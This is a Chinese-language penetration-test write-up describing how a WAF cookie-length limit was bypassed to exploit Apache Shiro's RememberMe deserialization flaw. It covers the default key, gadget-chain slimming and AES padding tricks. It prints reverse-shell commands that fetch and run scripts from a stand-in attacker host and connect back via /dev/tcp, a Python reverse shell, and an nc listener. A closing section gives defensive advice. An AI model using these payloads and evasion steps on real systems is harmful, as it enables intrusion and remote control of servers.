
1. 项目概述一次典型的攻防对抗复盘最近在参与一个授权测试项目时遇到了一个非常经典的场景目标系统使用了Apache Shiro框架并且存在已知的反序列化漏洞利用点。这本应是一个“标准流程”式的测试但就在我准备发送精心构造的Payload时却被部署在前端的WAFWeb应用防火墙无情地拦截了。更棘手的是这次WAF的拦截规则并非基于传统的特征匹配而是设置了一个针对请求参数长度的硬性限制。这就像你拿到了一把万能钥匙却发现锁孔被一块铁板堵住了只留下一条细缝。这次实战就是记录我如何在这条“细缝”中辗转腾挪最终成功绕过限制实现命令执行并获取Shell的完整过程。无论你是安全研究人员、渗透测试工程师还是负责应用安全的开发人员理解这种绕过思路对于完善自身防御策略或提升攻击技巧都大有裨益。2. 核心漏洞与防御机制解析2.1 Apache Shiro RememberMe反序列化漏洞原理要理解如何绕过必须先清楚我们要攻击的是什么。Apache Shiro是一个强大且易用的Java安全框架提供身份验证、授权、加密和会话管理等功能。其“记住我”RememberMe是一项便捷功能允许用户在关闭浏览器后再次访问时无需重新登录。其核心流程如下用户成功登录并勾选“记住我”。Shiro服务器端会对用户的身份信息如用户名进行序列化。序列化后的数据会使用一个预共享的密钥cipherKey进行AES加密。加密后的密文会经过Base64编码然后设置为一个名为rememberMe的Cookie发送给客户端浏览器。用户下次访问时浏览器会自动带上这个Cookie。Shiro服务端收到Cookie后进行Base64解码、AES解密最后反序列化数据恢复用户身份实现自动登录。漏洞的根源就在于第6步反序列化。Java反序列化机制本身是危险的如果程序反序列化了恶意构造的数据就可能触发执行任意代码。在Shiro的默认配置中用于加解密的AES密钥是硬编码在框架代码里的如kPHbIxk5D2deZiIxcaaaA。如果攻击者知道了这个密钥他就可以构造一个包含恶意指令的序列化对象例如利用CommonsCollections库构造的命令执行链。用已知的密钥加密这个对象。将其Base64编码后伪装成rememberMeCookie发送给服务器。服务器使用相同的密钥解密后会毫无戒备地对恶意数据进行反序列化从而触发漏洞执行攻击者预设的命令。因此整个利用链的关键在于密钥和可用的反序列化利用链Gadget Chain。在实战中我们常使用工具如ShiroAttack2、shiro-exploit来爆破密钥并利用已知链如CC链、CB链进行攻击。2.2 WAF的长度限制防御策略分析WAF作为一道安全屏障其拦截逻辑多种多样。本次遇到的是“请求参数值长度限制”。具体表现为当rememberMeCookie的值即Base64编码后的密文长度超过某个阈值例如1024字符、2048字符时请求会被直接阻断返回403 Forbidden或自定义的拦截页面。这种防御策略的设计思路是简单而有效的基于经验一个正常的“记住我”Cookie其序列化对象通常只包含有限的用户信息如用户名、用户ID加密编码后的长度是相对较短且稳定的。而一个恶意的反序列化Payload尤其是包含复杂命令执行链的Payload序列化后的体积会非常庞大编码后很容易超过正常范围。性能与误报相比于深度解析HTTP请求体、进行正则表达式匹配或语义分析单纯检查参数长度对WAF的性能消耗极低。同时这种基于长度的规则误报率也相对较低不容易影响正常业务。增加攻击成本它迫使攻击者必须想方设法“压缩”自己的攻击载荷使其在限定的长度内依然能完成攻击动作。这无疑增加了攻击的技术门槛和复杂度。面对这种防御传统的“长枪大炮”式Payload直接失效。我们的攻击思路必须从“大力出奇迹”转向“精巧手术刀”核心目标就是在极其有限的长度预算内构造出功能完整的攻击链。3. 绕过长度限制的实战思路拆解当我的标准Payload被WAF拦截后我并没有立即转向其他漏洞点而是开始系统性地分析如何“瘦身”。整个过程是一个层层递进的优化过程。3.1 第一层优化精简反序列化利用链Gadget最初的Payload使用的是经典的CommonsCollections6CC6链。这个链通用性强但序列化后的字节数较多。我的第一步就是寻找更短小精悍的利用链。链的选型我对比了CC1、CC3、CC6以及一些针对无TransformedMap依赖的变种链如TomcatEcho链的某些变体。通过本地序列化后对比字节数组长度发现某些利用TemplatesImpl的链如CC2、CC3的变种在特定构造方式下可以比CC6更短。最终我选择了一个经过精简的、直接加载字节码的TemplatesImpl链。这一步优化直接将Payload长度削减了约30%。原理补充TemplatesImpl链之所以能更短是因为它直接将恶意代码以字节码形式嵌入避免了CC链中为了构造Transformer数组和ChainedTransformer而生成的大量包装类对象减少了序列化后的元数据开销。3.2 第二层优化压缩命令执行载荷即使链本身变短了要执行的命令例如弹一个反向Shellbash -i /dev/tcp/ATTACKER_IP/PORT 01本身也很长。我们需要让这个命令尽可能短。命令短写技巧使用短标签bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ}|{base64,-d}|{bash,-i}。这种方式将命令Base64编码后通过管道传递虽然增加了编解码步骤但有时能避开一些字符串检测且格式固定。终极短写在Linux下最简短的方式是直接写入一个脚本并执行。例如可以尝试将命令拆解通过echo拼接或者利用wget或curl从远程服务器下载更短的Shell脚本。最终我采用的方案是curl ATTACKER_IP/s.sh|bash。其中s.sh是我托管在VPS上的一个极简反向Shell脚本。这样Payload中需要携带的命令就缩短到了几十个字符。编码与混淆对短命令进行Base64或Hex编码是常规操作但要注意编码会增加长度。我们需要权衡是直接传递短明文命令还是传递一个更短的、编码后的命令但需要Payload中包含解码逻辑。在本案例中由于链本身已经支持执行代码我选择将“下载并执行”这段逻辑直接写入恶意类的字节码中这样HTTP请求的Cookie里就完全看不到明文的命令字符串了进一步规避了可能的第二层WAF关键词检测。3.3 第三层优化AES加密与Padding的玄机这是本次绕过中最关键、最精妙的一环。Shiro默认使用AES-128-CBC模式加密并采用PKCS5Padding填充。Padding的影响PKCS5Padding的规则是如果明文长度不是16字节AES块大小的整数倍则需要填充至整数倍。例如一个255字节的明文需要填充1个字节的0x01一个250字节的明文则需要填充6个字节的0x06。填充字节数 16 - (明文长度 % 16)。“卡长度”技巧WAF检查的是加密并Base64后的总长度。而Base64编码会使数据膨胀约4/3。我们的目标是让最终的Base64字符串长度刚好小于或等于WAF的阈值假设是1024字符。通过计算可知1024个Base64字符对应的原始二进制数据长度约为768字节。这是我们的“总预算”。这个总预算需要容纳IV16字节 加密后的密文。而密文长度又由明文长度决定且密文长度 明文长度 填充字节数并且必须是16的倍数。操作实践我编写了一个简单的Python脚本进行微调。在固定了利用链的字节码部分后我可以通过在恶意类中添加或删除一些无意义的属性如private String dummy “”;来细微调整序列化后明文的长度。目标是让明文长度 % 16的值尽可能大例如15这样只需要填充1个字节密文长度就是明文长度1最终Base64的长度可能就是(16明文长度1)*4/3这个值经过四舍五入后有可能刚好从超过阈值变为低于阈值。通过几次迭代尝试我成功将Payload的总长度控制在了1020字符左右顺利通过了WAF的长度检查。注意这种“卡长度”的操作需要精确计算并且不同WAF对长度的计算方式可能略有不同是否包含Cookie名称、等号是否计算URL编码。最好预留几个字符的余量。3.4 第四层优化HTTP请求拆分与伪装如果经过以上所有优化Payload长度仍然超标我们还有最后一招请求拆分。这不是指分片攻击而是指将攻击逻辑拆分成多个步骤每个步骤的请求都很短。第一步写入文件。构造一个超短的Payload其功能是利用Java代码在服务器临时目录写入一个包含完整恶意代码的.jar或.class文件。这个写入动作的Payload可以非常短。第二步加载执行。构造另一个短的Payload其功能是加载第一步写入的那个文件并执行。例如通过URLClassLoader加载远程或本地的jar包。 通过两个或多个符合长度限制的请求接力完成一次完整的攻击。这种方法对Payload的构造技巧要求更高需要更精细地控制每一步的代码。4. 完整绕过与利用实操记录4.1 环境探测与工具准备目标确认首先通过浏览器插件或手动查看登录请求的响应确认存在rememberMedeleteMe的Cookie设置初步判断Shiro框架存在。密钥爆破使用shiro-exploit或ShiroAttack2工具加载常见的密钥字典进行爆破。幸运的是目标使用了默认密钥kPHbIxk5D2deZiIxcaaaA很快爆破成功。这一步是后续所有操作的基础。WAF识别与规则探测发送一个超长的测试Cookie例如2000个‘A’确认返回403触发了长度限制。通过发送不同长度的测试串可以大致摸清阈值例如1024、2048。我使用Burp Suite的Intruder模块以递增的长度发送请求精确确定了拦截阈值为1024字符。4.2 构造“瘦身”版Payload我选择了ShiroAttack2工具因为它提供了高级设置选项。选择利用链在工具中我放弃了默认的CC链选择了“TomcatEcho”或“TomcatMemShell”相关的链这些链通常为内存马设计结构相对紧凑。实际上我需要的是一个能执行任意代码的链工具内置的“命令执行”功能可能链较长。因此我切换到“自定义代码”模式。注入自定义字节码我编写了一个极简的Java类其static代码块中包含攻击逻辑。为了极致缩短我不用任何第三方库直接使用Runtime.getRuntime().exec()执行命令。命令内容是curl http://my-vps-ip/shell.sh | bash。其中shell.sh内容为bash -i /dev/tcp/my-vps-ip/4444 01。使用javac编译后通过BCEL或直接字节码方式嵌入。ShiroAttack2支持将.class文件转换为字节码字符串。生成与长度检查将生成的Payload复制出来观察其Base64编码后的长度。第一次生成了约1300字符远超1024。迭代优化缩短命令将命令改为下载并执行Python一句话脚本python -c “import os,socket,subprocess;ssocket.socket();s.connect((‘my-vps-ip‘,4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];subprocess.call([‘/bin/bash‘,‘-i‘])”。发现Python脚本更长。换回最初的curl|bash方案。精简Java类移除类中所有非必要的导入、注释、空格和换行。将类名、方法名改为单字母如A。将字符串变量合并。调整序列化数据在工具中有时选择不同的“版本”或“变种”链生成的Payload长度差异很大。我逐一测试记录长度。应用“卡长度”技巧经过上述精简Payload长度在1100字符左右徘徊。我回到自定义的Java类尝试增加一个无用的byte[] padding new byte[N];数组通过调整N的大小每次增减1观察最终Payload长度的变化。当N增加到某个值时由于触发了不同的Padding总长度突然从1025降到了1018。成功4.3 发送Payload与接收Shell监听端口在攻击机VPS上使用nc -lvnp 4444监听反弹Shell的端口。发送请求将优化后的、长度为1018字符的rememberMeCookie值通过Burp Repeater发送到目标的登录接口或任意受Shiro保护的接口。观察结果请求返回了200状态码并且没有WAF拦截页面服务器响应可能正常也可能因命令执行而有轻微延迟或错误。立即查看VPS上的nc监听器。成功获取Shell几秒后nc终端成功收到了来自目标服务器的反向Shell连接可以执行id、whoami等命令确认权限。攻击成功。5. 深度排查与进阶技巧5.1 常见问题与解决方案实录在实际操作中你可能会遇到以下问题问题现象可能原因排查步骤与解决方案Payload长度已低于阈值但仍被拦截。1. WAF还有其他规则如特定字符过滤。2. 长度计算方式不同如包含Cookie名。3. Payload本身触发了其他特征。1. 用纯字母数字长字符串测试确认是否仅为长度规则。2. 尝试对Cookie值进行URL编码看是否影响拦截。3. 使用更“干净”的利用链避免包含Runtime、ProcessBuilder等敏感类名可尝试反射调用。发送Payload后服务器返回500错误但无Shell。1. 目标环境缺少利用链依赖的库如CC库。2. Java版本过高存在反序列化过滤器JEP 290。3. Payload中的命令执行失败路径不对、防火墙出站限制。1. 换用不依赖CC库的链如TomcatEcho链或自定义字节码链。2. 尝试使用针对高版本JDK的绕过链或检查是否有配置serializationFilter。3. 将命令改为写入一个文件如echo test /tmp/test.txt来测试命令是否执行。检查服务器防火墙策略。工具生成的Payload无法进一步缩短。工具内置的链和模板为了通用性可能包含冗余部分。1.手动构造这是终极方案。理解反序列化链原理后可以使用ysoserial源码定制化生成Payload剔除所有非必要部分。2.尝试其他格式除了Cookie有时可以尝试将Payload放在POSTbody或其他Header中某些WAF配置可能忽略这些位置的长度检查。5.2 防御视角下的思考与建议从这次绕过经历反推作为防御方应该如何构建更稳固的防线根本解决升级与打补丁。及时升级Shiro至安全版本1.2.5并妥善配置cipherKey这是最有效的措施。不要使用默认密钥。纵深防御多层WAF规则。单一的长度限制很容易被绕过。应结合多种规则特征检测虽然Payload可以变短但恶意字节码或特定链的类签名特征可能依然存在。可以部署针对常见反序列化Gadget链特征的规则。行为分析检测短时间内多次尝试登录、或携带rememberMeCookie访问非登录页面的异常行为。长度限制精细化可以对不同参数设置不同的、更合理的长度阈值。对于rememberMe这种特定参数可以设置一个非常严格的低阈值如512字节因为正常业务根本不需要那么长。应用层加固反序列化过滤器在代码中启用并严格配置反序列化过滤器ObjectInputFilter只允许反序列化预期的、安全的类。移除危险依赖如果业务用不到应直接从依赖中移除commons-collections、commons-beanutils等危险库。自定义Cookie解析重写Shiro的RememberMeManager在解密和反序列化之前加入长度校验、格式校验甚至签名验证。网络层控制限制服务器出站流量只允许访问必要的内网和外部服务地址可以有效阻断反弹Shell、下载外部脚本等攻击行为。5.3 我的实操心得与避坑指南工具是辅助理解才是核心不要满足于用工具点一下。理解Shiro漏洞原理、AES加密解密过程、PKCS5Padding机制、Java反序列化链的构造是你能够进行深度绕过的基础。否则当工具失效时你将束手无策。环境还原是最好的老师在本地搭建一个与目标环境相似的测试环境相同的Shiro版本、JDK版本、依赖库。所有的Payload优化、长度测试、效果验证先在本地做可以极大提高效率避免在真实目标上留下过多日志。保持Payload的“纯洁性”在尝试绕过时避免引入可能引发新问题的字符。例如在命令中尽量使用/bin/bash的绝对路径避免使用可能被转义的特殊字符如$、\、|等必要时进行编码。长度阈值的探测要精准使用Burp Intruder的“数字变体”功能以10或50为步长递增发送长度可以快速定位WAF的精确阈值避免在阈值边缘无效尝试。永远要有B计划长度绕过只是WAF绕过的一种。如果此路实在不通应立即转换思路例如寻找其他输入点如文件上传、其他Header参数、尝试其他Shiro利用方式如Padding Oracle攻击CBC模式、或者暂时放下此漏洞转向其他攻击面。一次成功的渗透测试往往是多种技术组合运用的结果。